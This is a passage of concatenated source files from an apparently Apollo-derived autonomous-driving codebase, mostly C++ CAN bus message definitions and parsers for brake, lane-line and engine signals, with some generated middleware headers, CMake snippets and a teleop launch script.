'ADU_CONTROBRK_STANDSTILL_NOT_STANDSTILL', 1: 'ADU_CONTROBRK_STANDSTILL_STANDSTILL'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 20, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Aducontrolbrake0x110110* set_adu_controbrk_standstill(Adu_controlbrake_0x110_110::Adu_controbrk_standstillType adu_controbrk_standstill); // config detail: {'name': 'ADU_ControBrk_Enable', 'enum': {0: 'ADU_CONTROBRK_ENABLE_DISABLE', 1: 'ADU_CONTROBRK_ENABLE_ENABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Aducontrolbrake0x110110* set_adu_controbrk_enable(Adu_controlbrake_0x110_110::Adu_controbrk_enableType adu_controbrk_enable); // config detail: {'name': 'ADU_MasterCylinderPressReq', 'offset': 0.0, 'precision': 1.0, 'len': 15, 'is_signed_var': False, 'physical_range': '[0|32000]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': 'kpa'} Aducontrolbrake0x110110* set_adu_mastercylinderpressreq(int adu_mastercylinderpressreq); private: // config detail: {'name': 'IC_Checksum_0x110', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void set_p_ic_checksum_0x110(uint8_t* data, int ic_checksum_0x110); // config detail: {'name': 'IC_Rolling_counter_0x110', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void set_p_ic_rolling_counter_0x110(uint8_t* data, int ic_rolling_counter_0x110); // config detail: {'name': 'ADU_Tgt_Deceleration', 'offset': 0.0, 'precision': 0.00159276, 'len': 12, 'is_signed_var': True, 'physical_range': '[0|0]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': 'g'} void set_p_adu_tgt_deceleration(uint8_t* data, double adu_tgt_deceleration); // config detail: {'name': 'ADU_BrkTMCPosition_Req', 'offset': 0.0, 'precision': 0.1, 'len': 10, 'is_signed_var': False, 'physical_range': '[0|100]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} void set_p_adu_brktmcposition_req(uint8_t* data, double adu_brktmcposition_req); // config detail: {'name': 'ADU_ParkRelease_Req', 'enum': {0: 'ADU_PARKRELEASE_REQ_NO_CONTROL', 1: 'ADU_PARKRELEASE_REQ_RELEASE', 2: 'ADU_PARKRELEASE_REQ_PARK', 3: 'ADU_PARKRELEASE_REQ_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_adu_parkrelease_req(uint8_t* data, Adu_controlbrake_0x110_110::Adu_parkrelease_reqType adu_parkrelease_req); // config detail: {'name': 'ADU_ControBrk_StandStill', 'enum': {0: 'ADU_CONTROBRK_STANDSTILL_NOT_STANDSTILL', 1: 'ADU_CONTROBRK_STANDSTILL_STANDSTILL'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 20, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_adu_controbrk_standstill(uint8_t* data, Adu_controlbrake_0x110_110::Adu_controbrk_standstillType adu_controbrk_standstill); // config detail: {'name': 'ADU_ControBrk_Enable', 'enum': {0: 'ADU_CONTROBRK_ENABLE_DISABLE', 1: 'ADU_CONTROBRK_ENABLE_ENABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_adu_controbrk_enable(uint8_t* data, Adu_controlbrake_0x110_110::Adu_controbrk_enableType adu_controbrk_enable); // config detail: {'name': 'ADU_MasterCylinderPressReq', 'offset': 0.0, 'precision': 1.0, 'len': 15, 'is_signed_var': False, 'physical_range': '[0|32000]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': 'kpa'} void set_p_adu_mastercylinderpressreq(uint8_t* data, int adu_mastercylinderpressreq); private: int ic_checksum_0x110_; int ic_rolling_counter_0x110_; double adu_tgt_deceleration_; double adu_brktmcposition_req_; Adu_controlbrake_0x110_110::Adu_parkrelease_reqType adu_parkrelease_req_; Adu_controlbrake_0x110_110::Adu_controbrk_standstillType adu_controbrk_standstill_; Adu_controlbrake_0x110_110::Adu_controbrk_enableType adu_controbrk_enable_; int adu_mastercylinderpressreq_; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_ADU_CONTROLBRAKE_0X110_110_H_ <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(vehicle_config_proto vehicle_config.pb.cc vehicle_config.pb.h) target_link_libraries(vehicle_config_proto common_proto header_proto protobuf)<file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_IPM_RIGHTLINE_0X490_490_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_IPM_RIGHTLINE_0X490_490_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Ipmrightline0x490490 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Ipmrightline0x490490(); uint32_t GetPeriod() const override; void UpdateData(uint8_t* data) override; void Reset() override; // config detail: {'name': 'IPM_RightLine_dy', 'enum': {0: 'IPM_RIGHTLINE_DY_INITIAL_VALUE_NO_LINE'}, 'precision': 0.00390625, 'len': 12, 'is_signed_var': False, 'offset': -8.0, 'physical_range': '[-8|7.99609375]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'm'} Ipmrightline0x490490* set_ipm_rightline_dy(double ipm_rightline_dy); // config detail: {'name': 'IPM_RightLine_dx_lookhead', 'offset': 0.0, 'precision': 0.25, 'len': 9, 'is_signed_var': False, 'physical_range': '[0|127.75]', 'bit': 19, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm'} Ipmrightline0x490490* set_ipm_rightline_dx_lookhead(double ipm_rightline_dx_lookhead); // config detail: {'name': 'IPM_RightLine_hor_curve', 'enum': {0: 'IPM_RIGHTLINE_HOR_CURVE_INITIAL_VALUE_NO_CURVATURE'}, 'precision': 0.0001, 'len': 10, 'is_signed_var': False, 'offset': -0.015, 'physical_range': '[-0.015|0.0513]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ipmrightline0x490490* set_ipm_rightline_hor_curve(double ipm_rightline_hor_curve); // config detail: {'name': 'IPM_RightLine_yawangle', 'offset': -1.0, 'precision': 0.000488281, 'len': 12, 'is_signed_var': False, 'physical_range': '[-1|0.999510695]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': ''} Ipmrightline0x490490* set_ipm_rightline_yawangle(double ipm_rightline_yawangle); // config detail: {'name': 'IPM_RightLine_dx_start', 'offset': 0.0, 'precision': 0.25, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|63.75]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm'} Ipmrightline0x490490* set_ipm_rightline_dx_start(double ipm_rightline_dx_start); private: // config detail: {'name': 'IPM_RightLine_dy', 'enum': {0: 'IPM_RIGHTLINE_DY_INITIAL_VALUE_NO_LINE'}, 'precision': 0.00390625, 'len': 12, 'is_signed_var': False, 'offset': -8.0, 'physical_range': '[-8|7.99609375]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'm'} void set_p_ipm_rightline_dy(uint8_t* data, double ipm_rightline_dy); // config detail: {'name': 'IPM_RightLine_dx_lookhead', 'offset': 0.0, 'precision': 0.25, 'len': 9, 'is_signed_var': False, 'physical_range': '[0|127.75]', 'bit': 19, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm'} void set_p_ipm_rightline_dx_lookhead(uint8_t* data, double ipm_rightline_dx_lookhead); // config detail: {'name': 'IPM_RightLine_hor_curve', 'enum': {0: 'IPM_RIGHTLINE_HOR_CURVE_INITIAL_VALUE_NO_CURVATURE'}, 'precision': 0.0001, 'len': 10, 'is_signed_var': False, 'offset': -0.015, 'physical_range': '[-0.015|0.0513]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_ipm_rightline_hor_curve(uint8_t* data, double ipm_rightline_hor_curve); // config detail: {'name': 'IPM_RightLine_yawangle', 'offset': -1.0, 'precision': 0.000488281, 'len': 12, 'is_signed_var': False, 'physical_range': '[-1|0.999510695]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': ''} void set_p_ipm_rightline_yawangle(uint8_t* data, double ipm_rightline_yawangle); // config detail: {'name': 'IPM_RightLine_dx_start', 'offset': 0.0, 'precision': 0.25, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|63.75]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm'} void set_p_ipm_rightline_dx_start(uint8_t* data, double ipm_rightline_dx_start); private: double ipm_rightline_dy_; double ipm_rightline_dx_lookhead_; double ipm_rightline_hor_curve_; double ipm_rightline_yawangle_; double ipm_rightline_dx_start_; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_IPM_RIGHTLINE_0X490_490_H_ <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/gw_ems_tq_0x101_101.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Gwemstq0x101101::Gwemstq0x101101() {} const int32_t Gwemstq0x101101::ID = 0x101; void Gwemstq0x101101::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_gw_ems_tq_0x101_101()->set_ems_indicatedrealengtorq(ems_indicatedrealengtorq(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_tq_0x101_101()->set_ems_engspeed(ems_engspeed(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_tq_0x101_101()->set_ems_engspeederror(ems_engspeederror(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_tq_0x101_101()->set_ems_rngmodtorqcrsleadmin(ems_rngmodtorqcrsleadmin(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_tq_0x101_101()->set_dcm_ems_rollingcounter_0x101(dcm_ems_rollingcounter_0x101(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_tq_0x101_101()->set_dcm_ems_checksum_0x101(dcm_ems_checksum_0x101(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_tq_0x101_101()->set_ems_rngmodtorqcrsleadmax(ems_rngmodtorqcrsleadmax(bytes, length)); } // config detail: {'name': 'ems_indicatedrealengtorq', 'enum': {2047: 'EMS_INDICATEDREALENGTORQ_INVALID'}, 'precision': 0.5, 'len': 12, 'is_signed_var': False, 'offset': -1000.0, 'physical_range': '[-1000|1000]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} double Gwemstq0x101101::ems_indicatedrealengtorq(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 4); Byte t1(bytes + 2); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; double ret = static_cast<double>(x); return ret; } // config detail: {'name': 'ems_engspeed', 'enum': {32767: 'EMS_ENGSPEED_INVALID'}, 'precision': 0.5, 'len': 15, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|16383]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'rpm'} double Gwemstq0x101101::ems_engspeed(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 4); int32_t t = t1.get_byte(1, 7); x <<= 7; x |= t; double ret = static_cast<double>(x); return ret; } // config detail: {'name': 'ems_engspeederror', 'enum': {0: 'EMS_ENGSPEEDERROR_NOERROR', 1: 'EMS_ENGSPEEDERROR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 32, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_tq_0x101_101::Ems_engspeederrorType Gwemstq0x101101::ems_engspeederror(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 1); Gw_ems_tq_0x101_101::Ems_engspeederrorType ret = static_cast<Gw_ems_tq_0x101_101::Ems_engspeederrorType>(x); return ret; } // config detail: {'name': 'ems_rngmodtorqcrsleadmin', 'enum': {2047: 'EMS_RNGMODTORQCRSLEADMIN_INVALID'}, 'precision': 0.5, 'len': 12, 'is_signed_var': False, 'offset': -1000.0, 'physical_range': '[-1000|1000]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} double Gwemstq0x101101::ems_rngmodtorqcrsleadmin(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 6); int32_t t = t1.get_byte(4, 4); x <<= 4; x |= t; double ret = static_cast<double>(x); return ret; } // config detail: {'name': 'dcm_ems_rollingcounter_0x101', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwemstq0x101101::dcm_ems_rollingcounter_0x101(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'dcm_ems_checksum_0x101', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwemstq0x101101::dcm_ems_checksum_0x101(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'ems_rngmodtorqcrsleadmax', 'enum': {2047: 'EMS_RNGMODTORQCRSLEADMAX_INVALID'}, 'precision': 0.5, 'len': 12, 'is_signed_var': False, 'offset': -1000.0, 'physical_range': '[-1000|1000]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} double Gwemstq0x101101::ems_rngmodtorqcrsleadmax(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(4, 4); x <<= 4; x |= t; double ret = static_cast<double>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef jmc_auto_localizationserviceinterface_proxy_h #define jmc_auto_localizationserviceinterface_proxy_h #include "ara/com/internal/proxy/ProxyAdapter.h" #include "ara/com/internal/proxy/EventAdapter.h" #include "ara/com/internal/proxy/FieldAdapter.h" #include "ara/com/internal/proxy/MethodAdapter.h" #include "jmc_auto/localizationserviceinterface_common.h" #include "impl_type_localization.h" #include <string> namespace jmc_auto { namespace proxy { namespace events { using LocalizationEvent = ara::com::internal::proxy::event::EventAdapter<::Localization>; static constexpr ara::com::internal::EntityId LocalizationEventId = 63490; //LocalizationEvent_event_hash } namespace fields { } namespace methods { } // namespace methods class LocalizationServiceInterfaceProxy :public ara::com::internal::proxy::ProxyAdapter { public: virtual ~LocalizationServiceInterfaceProxy() { LocalizationEvent.UnsetReceiveHandler(); LocalizationEvent.Unsubscribe(); } explicit LocalizationServiceInterfaceProxy(const HandleType &handle) :ara::com::internal::proxy::ProxyAdapter(::jmc_auto::LocalizationServiceInterface::ServiceIdentifier, handle), LocalizationEvent(GetProxy(), events::LocalizationEventId, handle, ::jmc_auto::LocalizationServiceInterface::ServiceIdentifier){ } LocalizationServiceInterfaceProxy(const LocalizationServiceInterfaceProxy&) = delete; LocalizationServiceInterfaceProxy& operator=(const LocalizationServiceInterfaceProxy&) = delete; LocalizationServiceInterfaceProxy(LocalizationServiceInterfaceProxy&& other) = default; LocalizationServiceInterfaceProxy& operator=(LocalizationServiceInterfaceProxy&& other) = default; static ara::com::FindServiceHandle StartFindService( ara::com::FindServiceHandler<ara::com::internal::proxy::ProxyAdapter::HandleType> handler, ara::com::InstanceIdentifier instance = ara::com::InstanceIdentifier::Any) { return ProxyAdapter::StartFindService(handler, ::jmc_auto::LocalizationServiceInterface::ServiceIdentifier, instance); } static ara::com::ServiceHandleContainer<ara::com::internal::proxy::ProxyAdapter::HandleType> FindService( ara::com::InstanceIdentifier instance = ara::com::InstanceIdentifier::Any) { return ProxyAdapter::FindService(::jmc_auto::LocalizationServiceInterface::ServiceIdentifier, instance); } events::LocalizationEvent LocalizationEvent; }; } // namespace proxy } // namespace jmc_auto #endif // jmc_auto_localizationserviceinterface_proxy_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(st_gap_estimator st_gap_estimator.cc st_gap_estimator.h) target_link_libraries(st_gap_estimator planning_gflags) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_bool_h #define impl_type_bool_h #include "base_type_std_bool.h" typedef std_bool Bool; #endif // impl_type_bool_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_statuspb_h #define impl_type_statuspb_h #include "impl_type_errorcode.h" struct StatusPb { ::ErrorCode error_code; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(error_code); } template<typename F> void enumerate(F& fun) const { fun(error_code); } bool operator == (const ::StatusPb& t) const { return (error_code == t.error_code); } }; #endif // impl_type_statuspb_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_GW_EMS_TQWHL_0X111_111_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_GW_EMS_TQWHL_0X111_111_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Gwemstqwhl0x111111 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwemstqwhl0x111111(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'EMS_IndicatedRealEngTorqWhl', 'enum': {65535: 'EMS_INDICATEDREALENGTORQWHL_INVALID'}, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'offset': -30000.0, 'physical_range': '[-30000|30000]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} int ems_indicatedrealengtorqwhl(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_IndicatedACCMesgError', 'enum': {0: 'EMS_INDICATEDACCMESGERROR_NOEERROR', 1: 'EMS_INDICATEDACCMESGERROR_REVERSIBLE_ERROR', 2: 'EMS_INDICATEDACCMESGERROR_IRREVERSIBLE_ERROR', 3: 'EMS_INDICATEDACCMESGERROR_NOTDEFINED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_tqwhl_0x111_111::Ems_indicatedaccmesgerrorType ems_indicatedaccmesgerror(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_IndicatedDriverOverride', 'enum': {0: 'EMS_INDICATEDDRIVEROVERRIDE_NOOVERRIDE', 1: 'EMS_INDICATEDDRIVEROVERRIDE_DRIVEROVERRIDE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_tqwhl_0x111_111::Ems_indicateddriveroverrideType ems_indicateddriveroverride(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_IndicatedDriverReqTorq', 'enum': {2047: 'EMS_INDICATEDDRIVERREQTORQ_INVALID'}, 'precision': 0.5, 'len': 12, 'is_signed_var': False, 'offset': -1000.0, 'physical_range': '[-1000|1000]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} double ems_indicateddriverreqtorq(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'DCM_EMS_RollingCounter_0x111', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int dcm_ems_rollingcounter_0x111(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'DCM_EMS_Checksum_0x111', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int dcm_ems_checksum_0x111(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_IndicatedDriverReqTorqWhl', 'enum': {65535: 'EMS_INDICATEDDRIVERREQTORQWHL_INVALID'}, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'offset': -30000.0, 'physical_range': '[-30000|30000]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} int ems_indicateddriverreqtorqwhl(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_GW_EMS_TQWHL_0X111_111_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef mdc_sensor_canrxserviceinterface_common_h #define mdc_sensor_canrxserviceinterface_common_h #include "ara/com/types.h" #include "ara/core/exception.h" #include "ara/core/error_code.h" #include "ara/core/map.h" namespace mdc { namespace sensor { class CanRxServiceInterface { public: constexpr CanRxServiceInterface() = default; constexpr static ara::com::ServiceIdentifierType ServiceIdentifier = ara::com::ServiceIdentifierType("/HuaweiMDC/Platform/CanRxServiceInterface/CanRxServiceInterface"); constexpr static ara::com::ServiceVersionType ServiceVersion = ara::com::ServiceVersionType("1.1"); }; } // namespace sensor } // namespace mdc #endif // mdc_sensor_impl_type_canrxserviceinterface_common_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(util_lib util.cc util.h) target_link_libraries(util_lib log /modules/common/util vehicle_state_provider /modules/common/vehicle_state/proto:vehicle_state_proto planning_gflags reference_line_info planning_proto /modules/routing:routing_lib) add_library(common_lib common.cc common.h) target_link_libraries(common_lib log /modules/common/util frame reference_line_info) add_library(math_util_lib INTERFACE) target_link_libraries(math_util_lib INTERFACE log map_util) <file_sep>#!/bin/bash DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" cd "${DIR}/.." export CM_CONFIG_FILE_PATH=${DIR}/../modules/control/outputJson/ ./Debug/modules/canbus/tools/teleop --flagfile=modules/canbus/tools/teleop.conf --alsologtostderr --log_dir=data/log/ <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_BMS_DISPLAY_0X323_323_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_BMS_DISPLAY_0X323_323_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Gwbmsdisplay0x323323 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwbmsdisplay0x323323(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'Checksum_0x323', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x323(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_Counter_0x323', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x323(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BMS_ConsumEQ_EST', 'offset': 0.0, 'precision': 0.1, 'len': 14, 'is_signed_var': False, 'physical_range': '[0|800]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': 'kwh'} double bms_consumeq_est(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BMS_AvailableEQ_EST', 'offset': 0.0, 'precision': 0.1, 'len': 14, 'is_signed_var': False, 'physical_range': '[0|800]', 'bit': 15, 'type': 'double', 'order': 'motorola', 'physical_unit': 'kwh'} double bms_availableeq_est(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BMS_SOH_EST', 'offset': 0.0, 'precision': 0.25, 'len': 12, 'is_signed_var': False, 'physical_range': '[0|400]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} double bms_soh_est(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BMS_SocDisplay_EST', 'offset': 0.0, 'precision': 0.4, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|100]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} double bms_socdisplay_est(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_GW_BMS_DISPLAY_0X323_323_H_ <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/gw_ems_engstatus_0x142_142.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Gwemsengstatus0x142142::Gwemsengstatus0x142142() {} const int32_t Gwemsengstatus0x142142::ID = 0x142; void Gwemsengstatus0x142142::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_gw_ems_engstatus_0x142_142()->set_ems_ignitiontiming(ems_ignitiontiming(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_engstatus_0x142_142()->set_ems_setlengidlespeed(ems_setlengidlespeed(bytes, length)); 